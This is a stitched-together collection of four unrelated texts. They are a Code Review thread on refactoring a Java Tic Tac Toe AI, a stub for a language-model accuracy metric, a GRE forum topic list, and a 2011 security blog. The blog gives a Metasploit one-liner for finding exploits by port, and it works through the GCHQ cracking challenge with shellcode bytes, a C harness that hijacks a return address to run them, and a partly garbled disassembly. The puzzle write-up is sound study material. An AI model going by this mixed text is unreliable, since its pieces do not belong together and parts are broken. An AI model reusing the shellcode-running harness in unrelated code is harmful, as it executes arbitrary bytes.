text:
Tic Tac Toe computer AI

I am creating a TicTacToe game for my college project, and when I finished the code for computer AI, I ended up with a big chunk of code.

It allows the computer to make the winning move, stopping the player from winning and making a random move if the computer can't make any winning move or stop the player from winning. The code I have contains a series of if and else if statements.

I was wondering if it would be possible to reduce this amount of code in any way. I have tried putting one of the if statements in a method and then calling the method several times, but this does not work because the else statement does not run.

public void AI(){
count++;
if(buttons[1].getText().equals("O") && buttons[2].getText().equals("O") && buttons[3].getText().equals("")){
buttons[3].setText("O");
buttons[3].setEnabled(false);
} else if(buttons[4].getText().equals("O") && buttons[5].getText().equals("O") && buttons[6].getText().equals("")){
buttons[6].setText("O");
buttons[6].setEnabled(false);
} else if(buttons[7].getText().equals("O") && buttons[8].getText().equals("O") && buttons[9].getText().equals("")){
buttons[9].setText("O");
buttons[9].setEnabled(false);
}

else if(buttons[2].getText().equals("O") && buttons[3].getText().equals("O") && buttons[1].getText().equals("")){
buttons[1].setText("O");
buttons[1].setEnabled(false);
} else if(buttons[5].getText().equals("O") && buttons[6].getText().equals("O") && buttons[4].getText().equals("")){
buttons[4].setText("O");
buttons[4].setEnabled(false);
} else if(buttons[8].getText().equals("O") && buttons[9].getText().equals("O") && buttons[7].getText().equals("")){
buttons[7].setText("O");
buttons[7].setEnabled(false);
}

else if(buttons[1].getText().equals("O") && buttons[3].getText().equals("O") && buttons[2].getText().equals("")){
buttons[2].setText("O");
buttons[2].setEnabled(false);
} else if(buttons[4].getText().equals("O") && buttons[6].getText().equals("O") && buttons[5].getText().equals("")){
buttons[5].setText("O");
buttons[5].setEnabled(false);
} else if(buttons[7].getText().equals("O") && buttons[9].getText().equals("O") && buttons[8].getText().equals("")){
buttons[8].setText("O");
buttons[8].setEnabled(false);
}

else if(buttons[1].getText().equals("O") && buttons[4].getText().equals("O") && buttons[7].getText().equals("")){
buttons[7].setText("O");
buttons[7].setEnabled(false);
} else if(buttons[2].getText().equals("O") && buttons[5].getText().equals("O") && buttons[8].getText().equals("")){
buttons[4].setText("O");
buttons[4].setEnabled(false);
} else if(buttons[3].getText().equals("O") && buttons[6].getText().equals("O") && buttons[9].getText().equals("")){
buttons[9].setText("O");
buttons[9].setEnabled(false);
}

else if(buttons[4].getText().equals("O") && buttons[7].getText().equals("O") && buttons[1].getText().equals("")){
buttons[1].setText("O");
buttons[1].setEnabled(false);
} else if(buttons[5].getText().equals("O") && buttons[8].getText().equals("O") && buttons[2].getText().equals("")){
buttons[2].setText("O");
buttons[2].setEnabled(false);
} else if(buttons[6].getText().equals("O") && buttons[9].getText().equals("O") && buttons[3].getText().equals("")){
buttons[3].setText("O");
buttons[3].setEnabled(false);
}

else if(buttons[1].getText().equals("O") && buttons[7].getText().equals("O") && buttons[4].getText().equals("")){
buttons[4].setText("O");
buttons[4].setEnabled(false);
} else if(buttons[2].getText().equals("O") && buttons[8].getText().equals("O") && buttons[5].getText().equals("")){
buttons[5].setText("O");
buttons[5].setEnabled(false);
} else if(buttons[3].getText().equals("O") && buttons[9].getText().equals("O") && buttons[6].getText().equals("")){
buttons[6].setText("O");
buttons[6].setEnabled(false);
}

else if(buttons[1].getText().equals("O") && buttons[5].getText().equals("O") && buttons[9].getText().equals("")){
buttons[9].setText("O");
buttons[9].setEnabled(false);
} else if(buttons[5].getText().equals("O") && buttons[9].getText().equals("O") && buttons[1].getText().equals("")){
buttons[1].setText("O");
buttons[1].setEnabled(false);
} else if(buttons[1].getText().equals("O") && buttons[9].getText().equals("O") && buttons[5].getText().equals("")){
buttons[5].setText("O");
buttons[5].setEnabled(false);
}

else if(buttons[3].getText().equals("O") && buttons[5].getText().equals("O") && buttons[7].getText().equals("")){
buttons[7].setText("O");
buttons[7].setEnabled(false);
} else if(buttons[7].getText().equals("O") && buttons[5].getText().equals("O") && buttons[3].getText().equals("")){
buttons[3].setText("O");
buttons[3].setEnabled(false);
} else if(buttons[7].getText().equals("O") && buttons[3].getText().equals("O") && buttons[5].getText().equals("")){
buttons[5].setText("O");
buttons[5].setEnabled(false);
}

else if(buttons[1].getText().equals("X") && buttons[2].getText().equals("X") && buttons[3].getText().equals("")){
buttons[3].setText("O");
buttons[3].setEnabled(false);
} else if(buttons[4].getText().equals("X") && buttons[5].getText().equals("X") && buttons[6].getText().equals("")){
buttons[6].setText("O");
buttons[6].setEnabled(false);
} else if(buttons[7].getText().equals("X") && buttons[8].getText().equals("X") && buttons[9].getText().equals("")){
buttons[9].setText("O");
buttons[9].setEnabled(false);
}

else if(buttons[2].getText().equals("X") && buttons[3].getText().equals("X") && buttons[1].getText().equals("")){
buttons[1].setText("O");
buttons[1].setEnabled(false);
} else if(buttons[5].getText().equals("X") && buttons[6].getText().equals("X") && buttons[4].getText().equals("")){
buttons[4].setText("O");
buttons[4].setEnabled(false);
} else if(buttons[8].getText().equals("X") && buttons[9].getText().equals("X") && buttons[7].getText().equals("")){
buttons[7].setText("O");
buttons[7].setEnabled(false);
}

else if(buttons[1].getText().equals("X") && buttons[3].getText().equals("X") && buttons[2].getText().equals("")){
buttons[2].setText("O");
buttons[2].setEnabled(false);
} else if(buttons[4].getText().equals("X") && buttons[6].getText().equals("X") && buttons[5].getText().equals("")){
buttons[5].setText("O");
buttons[5].setEnabled(false);
} else if(buttons[7].getText().equals("X") && buttons[9].getText().equals("X") && buttons[8].getText().equals("")){
buttons[8].setText("O");
buttons[8].setEnabled(false);
}

else if(buttons[1].getText().equals("X") && buttons[4].getText().equals("X") && buttons[7].getText().equals("")){
buttons[7].setText("O");
buttons[7].setEnabled(false);
} else if(buttons[2].getText().equals("X") && buttons[5].getText().equals("X") && buttons[8].getText().equals("")){
buttons[8].setText("O");
buttons[8].setEnabled(false);
} else if(buttons[3].getText().equals("X") && buttons[6].getText().equals("X") && buttons[9].getText().equals("")){
buttons[9].setText("O");
buttons[9].setEnabled(false);
}

else if(buttons[4].getText().equals("X") && buttons[7].getText().equals("X") && buttons[1].getText().equals("")){
buttons[1].setText("O");
buttons[1].setEnabled(false);
} else if(buttons[5].getText().equals("X") && buttons[8].getText().equals("X") && buttons[2].getText().equals("")){
buttons[2].setText("O");
buttons[2].setEnabled(false);
} else if(buttons[6].getText().equals("X") && buttons[9].getText().equals("X") && buttons[3].getText().equals("")){
buttons[3].setText("O");
buttons[3].setEnabled(false);
}

else if(buttons[1].getText().equals("X") && buttons[7].getText().equals("X") && buttons[4].getText().equals("")){
buttons[4].setText("O");
buttons[4].setEnabled(false);
} else if(buttons[2].getText().equals("X") && buttons[8].getText().equals("X") && buttons[5].getText().equals("")){
buttons[5].setText("O");
buttons[5].setEnabled(false);
} else if(buttons[3].getText().equals("X") && buttons[9].getText().equals("X") && buttons[6].getText().equals("")){
buttons[6].setText("O");
buttons[6].setEnabled(false);
}

else if(buttons[1].getText().equals("X") && buttons[5].getText().equals("X") && buttons[9].getText().equals("")){
buttons[9].setText("O");
buttons[9].setEnabled(false);
} else if(buttons[5].getText().equals("X") && buttons[9].getText().equals("X") && buttons[1].getText().equals("")){
buttons[1].setText("O");
buttons[1].setEnabled(false);
} else if(buttons[1].getText().equals("X") && buttons[9].getText().equals("X") && buttons[5].getText().equals("")){
buttons[5].setText("O");
buttons[5].setEnabled(false);
}

else if(buttons[3].getText().equals("X") && buttons[5].getText().equals("X") && buttons[7].getText().equals("")){
buttons[7].setText("O");
buttons[7].setEnabled(false);
} else if(buttons[7].getText().equals("X") && buttons[5].getText().equals("X") && buttons[3].getText().equals("")){
buttons[3].setText("O");
buttons[3].setEnabled(false);
} else if(buttons[7].getText().equals("X") && buttons[3].getText().equals("X") && buttons[5].getText().equals("")){
buttons[5].setText("O");
buttons[5].setEnabled(false);
}

else if(buttons[1].getText().equals("X") && buttons[5].getText().equals("O") && buttons[9].getText().equals("X")) {
buttons[6].setText("O");
buttons[6].setEnabled(false);
}

else if(buttons[3].getText().equals("X") && buttons[5].getText().equals("O") && buttons[7].getText().equals("X")) {
buttons[4].setText("O");
buttons[4].setEnabled(false);
}

else if(buttons[5].getText().equals("")){
buttons[5].setText("O");
buttons[5].setEnabled(false);
}

else if(buttons[1].getText().equals("")){
buttons[1].setText("O");
buttons[1].setEnabled(false);
}
else {
if(count >= 9)
checkWin();
else
RandomMove();
}

checkWin();

}

Edited: The if statements I have check for all the different possibilities that computer can make a winning move or stop the player from winning.

edited 3:

for(int i=0; i<=3; i++){
if (buttons[i*3].getText().equals("X") && buttons[i*3+1].getText().equals("X") && buttons[i*3+2].getText().equals(""))
buttons[i*3+2].setText("O");
win = true;
}

• Sometimes it's possible to use a dictionary in place of a series of if statements. Have you considered this approach? – rookie Mar 17 '14 at 20:17
• At a glance, your AI logic seems very tightly coupled with your UI /user interface. – Mathieu Guindon Mar 17 '14 at 20:17
• @Seeker: a dictionary, or hash table, is a data structure that maps a distinct key to a value. Dictionaries often can help simplify the representation of your problem, and are a great tools for many applications. In Java, I think you need to implement Map (the equivalent to the data structure I'm describing). – rookie Mar 17 '14 at 20:20
• @gjdanis I am not sure how or in what way exactly a Map would help here? How do you suggest the OP should use it? – Simon Forsberg Mar 17 '14 at 20:35
• Just, you know, leaving this here... xkcd.com/832 – Mooing Duck Mar 18 '14 at 0:17

Yes, you really need to use loops and generalize this!

In order for you to learn the most, I won't give any exact code but I will tell you a bit about what you need to do

• Your array seems to be index 1-9 based, I would recommend using index 0 to 8 instead. Array index always start at zero, it just seem like you're just not using it. Instead, use it.

• Use for-loops to iterate through rows, columns and the diagonals of your game board. 3 rows, 3 columns, and 2 diagonals. for (int x = 0; x < 3; x++) is a simple way of looping through all x's (columns).

• Hint: The row and column of a button can be calculated by using either index / 3 or index % 3 (% is the 'modulo'-operator). This is a reason for why you should use zero-index based arrays. It makes it so much easier to do this calculation.

• You might want to use an enum for UNPLAYED, X and O. Using an appropriate enum can really help clean up your code massively.

public enum PlayedBy { UNPLAYED, X, O; }

• Decoupling. This is a bit more advanced and nothing you should be focusing on primarily. But in the future, it will help you greatly. Right now your AI knows everything about your view (view = the objects that the user sees). What if you wanted to make two AIs play against each other and only output to the console? What if you wanted to make an Android app of this? What if you wanted to make a Web application with GWT? (In the future you might want this!) You should look into the MVC pattern and/or use interfaces! to decouple your code.

You repeat this part very often

buttons[x].setText("O");
buttons[x].setEnabled(false);

That is something that should be put into a method:

void setButtonPlayer(JButton position, String player) {
position.setText(player);
position.setEnabled(false);
}

Now you only have to use setButtonPlayer(buttons[4], "O"); to make a move on button 4. If you use an enum, you could use setButtonPlayer(JButton button, PlayedBy player).

Once you have cleaned this up a bit, I recommend you post a follow-up question, as there is likely more things that can be cleaned up then.

• hi, I am unsure how I can use a for loop to check all the different possibilities of the computer making the winning move. I have attempted something but i am not sure if this is correct. I have updated my post, please let me know if i am going in the correct path. thanks – Seeker Mar 17 '14 at 20:43
• @Seeker Almost on the correct path. Only loop through 0 to 2, and get the index of the first button to check by i * 3. Alternatively, use a two-dimensional array JButton[][] buttons = new JButton[3][3]; Two-dimensional arrays might be difficult to get started with, but in the long run they will help you. But if you'd like, just stick to a one-dimensional array as you have now. – Simon Forsberg Mar 17 '14 at 21:04
• This question might sound a bit stupid, but why are we doing i * 3. sorry if this is silly question. – Seeker Mar 17 '14 at 21:06
• @Seeker Not at all. Very good question. Think about which indexes you want to check, as I understand it you'd want (0 1 2), (3 4 5), (6 7 8). That is, (i*3, i*3 + 1, i*3 + 2). – Simon Forsberg Mar 17 '14 at 21:17
• @Mat'sMug Yeah yeah yeah ;) – Simon Forsberg Mar 18 '14 at 8:12

When confronted with a problem like this it helps to implement the chain-of-responsibility pattern. In this case, you have a hierarchy of sorts, with a winning move, defensive move, and a random move.

You should create an interface along the lines of:

public interface TicTacToeStrategy {
public boolean apply(Button[] buttons);
}

Then, you should have a number of implementations of this strategy....

Something like:

public ForTheWinStrategy implements TicTacToeStrategy {
public boolean apply(Button[] buttons) {
if (.... there is a winning move) {
apply the winning move
return true;
}
return false;
}
}

Then you can have the DefensiveStrategy, and the RandomStrategy.

 private static final TicTacToeStrategy[] STRATEGIES = {
new ForTheWinStrategy(),
new DefensiveStrategy(),
new RandomStrategy()
};

Your main code can then become:

for(TicTacToeStrategy strategy : STRATEGIES) {
if (strategy.apply(buttons)) {
break;
}
}

As for all the if statements.... you need to rationalize them somehow.

Extracting them to a function would be good, or setting up a number of three-in-a-row sets....

private static final int[][] THREEINAROW = {
{1, 2, 3},
{4, 5, 6},
{7, 8, 9},
{1, 4, 7},
{2, 5, 8},
{3, 5, 9},
{1, 5, 9},
{3, 5, 7}
}

With the above setup, you can relatively easily say:

for (int[] tiaw : THREEINAROW) {
if (2 are us, and one is empty) {
we have a winner!
}
}

• Hi, i just had a good read through on your example but i am unclear as to where new DefensiveStrategy() and new RandomStrategy() are being called from. – Seeker Mar 17 '14 at 20:32
• @Seeker They are being declared as instances in the STRATEGIES array, and then they are being called inside the main loop if (strategy.apply(buttons)) {....} – rolfl Mar 17 '14 at 20:33
• I was just over your code and i am finding it little confusing to understand how the last for loop works, for (int[] tiaw : THREEINAROW) {. if i am not mistaken, it loops through the pre-defined Threeinarow array and check if any two buttons have the same value and if it does, then make the winning move but how would you pass the buttons in the if statement? – Seeker Mar 17 '14 at 21:02

You basically hard-coded everything. It is not recommended to hard-code everything for AI. What if you were writing something a bit more complex? Then you might get a case where your AI completely fails. This is why I believe you should develop your own algorithm or implement someone else's.

For your problem, I suggest you implementing minimax algorithm which is basically recursively checking all possible options to finish the game. Here's the pseudocode:

function minimax(node, depth, maximizingPlayer)
if depth = 0 or node is a terminal node
return the heuristic value of node
if maximizingPlayer
bestValue := -∞
for each child of node
val := minimax(child, depth - 1, FALSE))
bestValue := max(bestValue, val);
return bestValue
else
bestValue := +∞
for each child of node
val := minimax(child, depth - 1, TRUE))
bestValue := min(bestValue, val);
return bestValue

(* Initial call for maximizing player *)
minimax(origin, depth, TRUE)

Also another source that implements minimax for tic tac toe: http://www.codeproject.com/Articles/43622/Solve-Tic-Tac-Toe-with-the-MiniMax-algorithm

• I'm not aware of any definition of AI that excludes hard-coding all the options. – David Richerby Mar 18 '14 at 2:51
• Anyone care to explain why did I get minuses? – Sarp Kaya Mar 18 '14 at 8:44
• "What if you were writing something a bit more complex? " - if the problem we're different, then yes, you'd need different code. For this problem, this approach works. – AakashM Mar 18 '14 at 10:58
• @AakashM The purpose of Code review is to review the code. This is not stackoverflow. Therefore I don't see any reason why not to recommend completely different approach, as it is more elegant and understandable. – Sarp Kaya Mar 18 '14 at 11:47
• FWIW, minimax was the first thing I thought of when I read the question title and was surprised to find a string of if-else-if statements. They are fine as a start, of course, and minimax may be too advanced at the OP's stage in learning, but this answer hardly deserves a downvote! – David Harkness Mar 18 '14 at 16:50

I recently wrote a program to do something like this, and my implementation came down basically to this:

• To store the marks, I had an enum Mark { NOBODY, X, O }
• To store a move in the game, I had a Move class that tracked a mark and a location on a board
• To store the game state, I had a Board class. My implementation made the board object immutable, and one could only derive other board objects via its put(Move m) method. It also supplied methods for querying the values held in its cells.
• Players were represented by the Player interface. For the real player, I had a MCV thing, while my implementation of ComputerPlayer delegated to some Strategy objects. (The Player interface also had a method to report the end state of the game, to facilitate self-learning AI). On the player's turn, the game model called the player's getMove(Board b) method to obtain a Move object representing their response to that particular state.
• However, all the information about the actual rules of the game, with regards to valid moves, winning, and the like, was contained in a separate class, Rules. One could get an Iterable containing all rows, columns, and diagonals of a board with one method, query the winner of a particular board state with another method, check if a Move object could legally be added to a Board with yet another method, or get a list of all moves they could legally make. My implementation of an AI used these exclusively for deciding where to place its move, making them fairly independent of the particular rules, and so they would still work if I changed those rules.

The problem you have is that you are checking for each specific situation, rather than abstracting for the type of situation. This makes the code you are writing much harder to read, write, debug and maintain.

So for example you have :

else if(buttons[1].getText().equals("X") && buttons[4].getText().equals("X") &&  buttons[7].getText().equals("")){
buttons[7].setText("O");
buttons[7].setEnabled(false);}

The first level of abstraction you could use would be to define a method to uncover what is in the square, this would make the code more readable:

private boolean containsX(int square){
return buttons[square].getText().equals("X");}

This (and similar methods) makes the code more readable:

else if(containsX(1) && containsX(4) && isEmpty(7){
placeMove("O", 7);}

Now you have abstracted the code into methods you can read, however the 'logic' is still specified one piece at a time, and you can abstract that too. Other people have suggested different ways of doing it on this page, but the ideas are always the same, you need to express in general terms what each specific line is trying to do. so instead of the line above, you might have:

else if (canWinInFirstColumn)
{ playMoveInFirstColumn() }

however as soon as you start to write these, you realise that they are the same for each column, and the code for canWinInFirstColumn could simply be remade as canWinInColumnNumber(int colNumber) and would work for every column.

Then you realise that the code for columns and rows is similar, and you only really need to worry about the diagonals, so you make methods for each of those and then have a method that calls them all;

private boolean canWin(){
for (int i=0;i<3;i++){
if (canWinInRow(i)){
playMoveInRow(i);
return true;
}
if (canWinInColumn(i)){
playMoveInColumn(i);
return true;
}
}
if (canWinInFirstDiagonal){
playMoveInFirstDiagonal();
return true;
}
if (canWinInSecondDiagonal){
playMoveInSecondDiagonal();
return true;
}
return false;
}

Obviously you can keep on going and abstract much of the code into methods that contain the logic, and experienced programmers will skip many of these steps and end up with a single method that calls a few functions. There are other 'tricks' to making the code neater, for example noticing that the board is symmetrical or using maths to work out if there is a row or column with two of your pieces and an empty space, or two of their pieces and an empty space.

Finally you have a 'view' of the board (that is buttons with the letter X is buttons with the letter X or O) assigned to them, but that is also doubling as your 'model', that is you are using it to work out what is where. It is very common to separate the two, so you would have a simple array (e.g. integers) that contains what is in each square (0=empty, 1=X, 2=O) and then your logic can be much neater (no need for .getText().equals('X') everywhere, just ==1) and you just have a single method that reads in all the 0s, 1s and 2s from the model and sets the values of the appropriate squares to X or O as appropriate whenever something changes. This means that the code that is 'intensive' is using an efficient data structure, and the code that is simply rendering the outcome (the buttons with text on them) is only being updated when it needs to be.

Hope this helps :)


text:
# InContextLearningLMAccuracy#

class composer.metrics.InContextLearningLMAccuracy(dist_sync_on_step=False)[source]#

Computes accuracy for In-context learning (ICL) language modeling (LM) tasks.

ICL LM tasks consist of some number of example language modeling tasks (referred to as the ‘context’), followed by a test task where the model must correctly predict all the tokens following tokens in some passage (referred to as the ‘continuation’).

For example, the model may be provided the context below and evaluated on its ability to correctly predict the continuation. Note: it doesn’t matter whether the model correctly predicts the context tokens.

Context: The dog is->fuzzynthe water is->hotnthe tree is-> Continuation: green

dist_sync_on_step (bool, optional) – Synchronize metric state across processes at each forward() before returning the value at the step. Default: False.

format: plain


text:
It is currently 06 Jul 2020, 18:09

# Multiple-choice Questions — Select One or More Answer Choices

 Question banks Downloads My Bookmarks Reviews Important topics Go to page  1   2   3   4   5   6   7   8   9   10    Next Search for:
Topics Author Replies   Views Last post
2
 ^m^ is equal to the digits in positive integer m in reverse
Bunuel

2

1131

14 Jun 2019, 06:31

1
 @, $, and & are positive integers. If$ equals the square ro
huda

1

263

28 Jan 2020, 03:51

1
 \sqrt [3] { (a^2)^6}
CAMANISHPARMAR

1

519

21 Jan 2019, 13:38

 12x + 3 – (4 − 4x) If the expression above is equal to an in
Carcass

3

201

06 May 2020, 01:47

2
 15% of A is greater than 20% of B.
rahulroy1676

4

576

10 Apr 2020, 13:36

 2 in the Miles drove 50 Roberta hours. Rate of Her in the
alamin

1

498

06 Apr 2019, 07:21

1
 2x + 12 > 2 – 3x Which values of x below satisfy this inequa
Carcass

1

2810

15 Nov 2018, 09:02

2
 2x2 + 6 > 40 Which values of x satisfy the inequality above?
Carcass

2

3347

02 Jul 2020, 01:01

6
 3^2a 11^b
Carcass

4

2175

08 Jul 2018, 09:51

11
 3.7, 4.1, a, 8.5, 9.2, 2a The six numbers shown are list
Carcass

5

3692

07 May 2020, 19:01

6
 4,400 participants in a study were surveyed regarding side
sandy

6

3619

06 Apr 2020, 00:45

1
 81^3+27^4 is equivalent to which of the following expressio
Carcass

1

437

20 Jul 2019, 08:01

1
 a – b > a + b
ruposh6240

1

680

18 Oct 2018, 10:55

3
 A and B are graphical representations of normally distribute
sandy

5

1447

16 Oct 2019, 01:28

3
 A candy jar has 4 lime, 10 cherry, 8 orange, and x grape ca
Carcass

4

5273

02 Apr 2018, 10:47

2
 A carpenter get an order to
Asmakan

2

374

23 Oct 2019, 10:08

1
 A customer purchases pickles and onions from a local produce
Carcass

1

1218

23 Jul 2019, 23:26

1
 A dressing recipe calls for vinegar and oil (multiple ans)
Maanickbala

7

458

01 Jul 2019, 21:02

3
 A flat, rectangular flower bed with an area of 2,400 square
sandy

4

9373

22 May 2020, 05:49

1
 A fruit stand sells two varieties of apples at $1.00 and$1.
Carcass

1

6893

17 Feb 2017, 10:56

1
 A furniture store purchased sofas for a wholesale price of \$
Carcass

3

514

03 Jul 2020, 02:11

3
 A grain elevator moves 200 pounds of grain every 15 minutes
Carcass

3

3542

22 Jan 2018, 21:20

2
 A group of seasonal workers in Brasil
sandy

2

1163

28 Sep 2018, 01:00

1
 A group of x applicants is to be chosen for a spot on a tele
Bunuel

2

1101

24 Nov 2017, 14:51

5
 A jar contains marbles of 3 colors
yasir9909

7

5291

04 Sep 2018, 18:40

1
 A model rocket takes off from an elevated launch pad which i
Carcass

1

153

23 Apr 2020, 01:05

4
 A number line is divided by 10 evenly spaced tick marks.
sameer93

4

1818

28 Jun 2019, 14:12

3
 A number of scientists’ salaries were reported; physicists’
sandy

7

1631

15 Jul 2019, 13:34

3
 A pantry holds x cans of beans, twice as many cans of soup,
sandy

5

1780

10 Jul 2019, 04:46

4
 A quadrilateral has a perimeter of 16. Which of the followin
Bunuel

2

1859

27 Apr 2018, 00:16

4
 A quality control analyst collected 200 measurements of leng
Carcass

10

25405

07 May 2020, 19:06

1
 A question related to Standard Deviation
sarahl

2

884

11 May 2018, 07:22

4
 A rectangular public park has an area of 3,600 square feet.
sandy

1

1752

27 May 2018, 13:16

 A research report states that the average (arithmetic mean)
Carcass

2

459

29 Jun 2020, 00:12

1
 A set has exactly five consecutive positive integers starti
shahul

1

639

31 May 2018, 06:53

2
 A space program is recruiting a team of astronauts to journe
Bunuel

3

1328

10 Jan 2019, 03:53

2
 A straight fence is to be constructed from posts 6 inches
amorphous

2

1605

02 Jul 2020, 22:54

14
 A survey asked 1,150 people to choose their favorite laundry
Carcass

9

25693

23 Oct 2019, 09:54

2
 A veterinarian has 70 clients who own cats, dogs, or both. O
Carcass

2

2336

06 Dec 2017, 11:20

 A weighted coin has a probability p of showing heads. If suc
huda

1

324

21 Feb 2020, 11:10

3
 A weighted coin has a probability p of showing heads. If suc
Carcass

2

4785

15 Feb 2020, 11:19

2
 A worker at a recycling factory needs to produce 100 cm3 of
Carcass

7

714

13 Jun 2020, 14:01

 A zoo has twice as many zebras as lions and four times as ma
sandy

2

1923

25 Mar 2020, 14:48

8
 a^3b^4c^7>0
Carcass

10

3280

30 May 2020, 18:13

 a, b and c are positive integers. If b equals the square roo
Carcass

1

2649

23 Nov 2018, 20:09

1
 a, b and c are positive integers. If b equals the square roo
Bunuel

1

1992

04 Dec 2017, 12:42

 a, b, c, d, and e are five consecutive numbers in increasin
shahul

1

762

31 May 2018, 06:41

2
 a,b,c and d are all positive integers.....
NeophyteNitol

1

1697

07 Jun 2017, 11:01

1
 ABC has an area of 108 cm^2. If both x and y are integers, w
Carcass

1

4858

24 Sep 2017, 09:06

 Absolute vale function
san

1

878

19 Oct 2017, 00:17

 Question banks Downloads My Bookmarks Reviews Important topics Go to page  1   2   3   4   5   6   7   8   9   10    Next Search for:
 Who is online In total there are 2 users online :: 0 registered, 0 hidden and 2 guests (based on users active over the past 30 minutes) Users browsing this forum: No registered users and 2 guests Statistics Total posts 49117 | Total topics 15131 | Active members 41659 | Our newest member ejewioxo

 Powered by phpBB © phpBB Group Kindly note that the GRE® test is a registered trademark of the Educational Testing Service®, and this site has neither been reviewed nor endorsed by ETS®.


text:
## Wednesday, December 28, 2011

### New metasploit modules in trunk

Last night HDM checked in a telnetd remote root scanner and exploit module fore BSD-derived telnetd servers (this vuln affects telnet clients as well). We were up late last night working on it. Any testing is appreciated.

Today, sinn3r checked my CorpWatch API modules into trunk. These aid in OSINT research for a company during an engagement.

## Tuesday, December 13, 2011

### Finding all exploits with RPORT == X

This question comes up quite a bit in the IRC channel: How can I see all exploits for a given port? You can do it easily with IRB

msf > irb
>> framework.exploits.each_module { |n,e| x=e.new; print_good("#{e.fullname}: #{x.datastore['RPORT']}") if x.datastore['RPORT'].to_i == 445   }; nil

Just replace 445 with the port you are looking for. If you want aux modules, you may replace framework.exploits with framework.auxiliary.

## Wednesday, November 30, 2011

### Can you crack it? (nope, I tried though)

The UK govt created a challenge to find eligible code crackers. The website is http://www.canyoucrackit.co.uk/.

I got close, but my skills aren't up to par. Here is as far as I got. They give you the following code:

eb 04 af c2 bf a3 81 ec  00 01 00 00 31 c9 88 0c
0c fe c1 75 f9 31 c0 ba  ef be ad de 02 04 0c 00
d0 c1 ca 08 8a 1c 0c 8a  3c 04 88 1c 04 88 3c 0c
fe c1 75 e8 e9 5c 00 00  00 89 e3 81 c3 04 00 00
00 5c 58 3d 41 41 41 41  75 43 48 3d 42 42 42 42
75 3b 5a 89 d1 89 e6 89  df 29 cf f3 a4 89 de 89
d1 89 df 29 cf 31 c0 31  db 31 d2 fe c0 02 1c 06
8a 14 06 8a 34 1e 88 34  06 88 14 1e 00 f2 30 f6
8a 1c 16 8a 17 30 da 88  17 47 49 75 de 31 db 89
d8 fe c0 cd 80 90 90 e8  9d ff ff ff 41 41 41 41

What jumps out at me first are the nops (90 90) in the last line. My mind automagically tells me this is shellcode. I wasn't 100% sure, but it was the only guess I had. I copied the code over into gedit, and made the following adjustments.

\xeb\x04\xaf\xc2\xbf\xa3\x81\xec\x00\x01\x00\x00\x31\xc9\x88\x0c
\xd0\xc1\xca\x08\x8a\x1c\x0c\x8a\x3c\x04\x88\x1c\x04\x88\x3c\x0c
\xfe\xc1\x75\xe8\xe9\x5c\x00\x00\x00\x89\xe3\x81\xc3\x04\x00\x00
\x00\x5c\x58\x3d\x41\x41\x41\x41\x75\x43\x48\x3d\x42\x42\x42\x42
\x75\x3b\x5a\x89\xd1\x89\xe6\x89\xdf\x29\xcf\xf3\xa4\x89\xde\x89
\xd1\x89\xdf\x29\xcf\x31\xc0\x31\xdb\x31\xd2\xfe\xc0\x02\x1c\x06
\x8a\x14\x06\x8a\x34\x1e\x88\x34\x06\x88\x14\x1e\x00\xf2\x30\xf6
\x8a\x1c\x16\x8a\x17\x30\xda\x88\x17\x47\x49\x75\xde\x31\xdb\x89
\xd8\xfe\xc0\xcd\x80\x90\x90\xe8\x9d\xff\xff\xff\x41\x41\x41\x41

I then saved this into a shellcode.c file:

char shellcode[] = "\xeb\x04\xaf\xc2\xbf\xa3\x81\xec\x00\x01\x00\x00\x31\xc9\x88\x0c\x0c\xfe\xc1\x75\xf9\x31\xc0\xba\xef\xbe\xad\xde\x02\x04\x0c\x00\xd0\xc1\xca\x08\x8a\x1c\x0c\x8a\x3c\x04\x88\x1c\x04\x88\x3c\x0c\xfe\xc1\x75\xe8\xe9\x5c\x00\x00\x00\x89\xe3\x81\xc3\x04\x00\x00\x00\x5c\x58\x3d\x41\x41\x41\x41\x75\x43\x48\x3d\x42\x42\x42\x42\x75\x3b\x5a\x89\xd1\x89\xe6\x89\xdf\x29\xcf\xf3\xa4\x89\xde\x89\xd1\x89\xdf\x29\xcf\x31\xc0\x31\xdb\x31\xd2\xfe\xc0\x02\x1c\x06\x8a\x14\x06\x8a\x34\x1e\x88\x34\x06\x88\x14\x1e\x00\xf2\x30\xf6\x8a\x1c\x16\x8a\x17\x30\xda\x88\x17\x47\x49\x75\xde\x31\xdb\x89\xd8\xfe\xc0\xcd\x80\x90\x90\xe8\x9d\xff\xff\xff\x41\x41\x41\x41";

void main() {
int *ret;

ret = (int *)&ret + 2;
(*ret) = (int)shellcode;

printf("done");

}

Running it simply returned the "done" being printed by printf. This told me that the shellcode was at least not crashing, so it was probably valid shellcode. Looks like my first impression was correct. So I jumped to the asm that the shellcode produced to get a better understanding of it:

0000000000601040 :
601040: eb 04                 jmp    601046
601042: af                    scas   %es:(%rdi),%eax
601043: c2 bf a3              retq   $0xa3bf 601046: 81 ec 00 01 00 00 sub$0x100,%esp
60104c: 31 c9                 xor    %ecx,%ecx
60104e: 88 0c 0c              mov    %cl,(%rsp,%rcx,1)
601051: fe c1                 inc    %cl
601053: 75 f9                 jne    60104e
601055: 31 c0                 xor    %eax,%eax
601057: ba ef be ad de        mov    $0xdeadbeef,%edx 60105c: 02 04 0c add (%rsp,%rcx,1),%al 60105f: 00 d0 add %dl,%al 601061: c1 ca 08 ror$0x8,%edx
601064: 8a 1c 0c              mov    (%rsp,%rcx,1),%bl
601067: 8a 3c 04              mov    (%rsp,%rax,1),%bh
60106a: 88 1c 04              mov    %bl,(%rsp,%rax,1)
60106d: 88 3c 0c              mov    %bh,(%rsp,%rcx,1)
601070: fe c1                 inc    %cl
601072: 75 e8                 jne    60105c
601074: e9 5c 00 00 00        jmpq   6010d5
601079: 89 e3                 mov    %esp,%ebx
60107b: 81 c3 04 00 00 00     add    $0x4,%ebx 601081: 5c pop %rsp 601082: 58 pop %rax 601083: 3d 41 41 41 41 cmp$0x41414141,%eax
601088: 75 43                 jne    6010cd
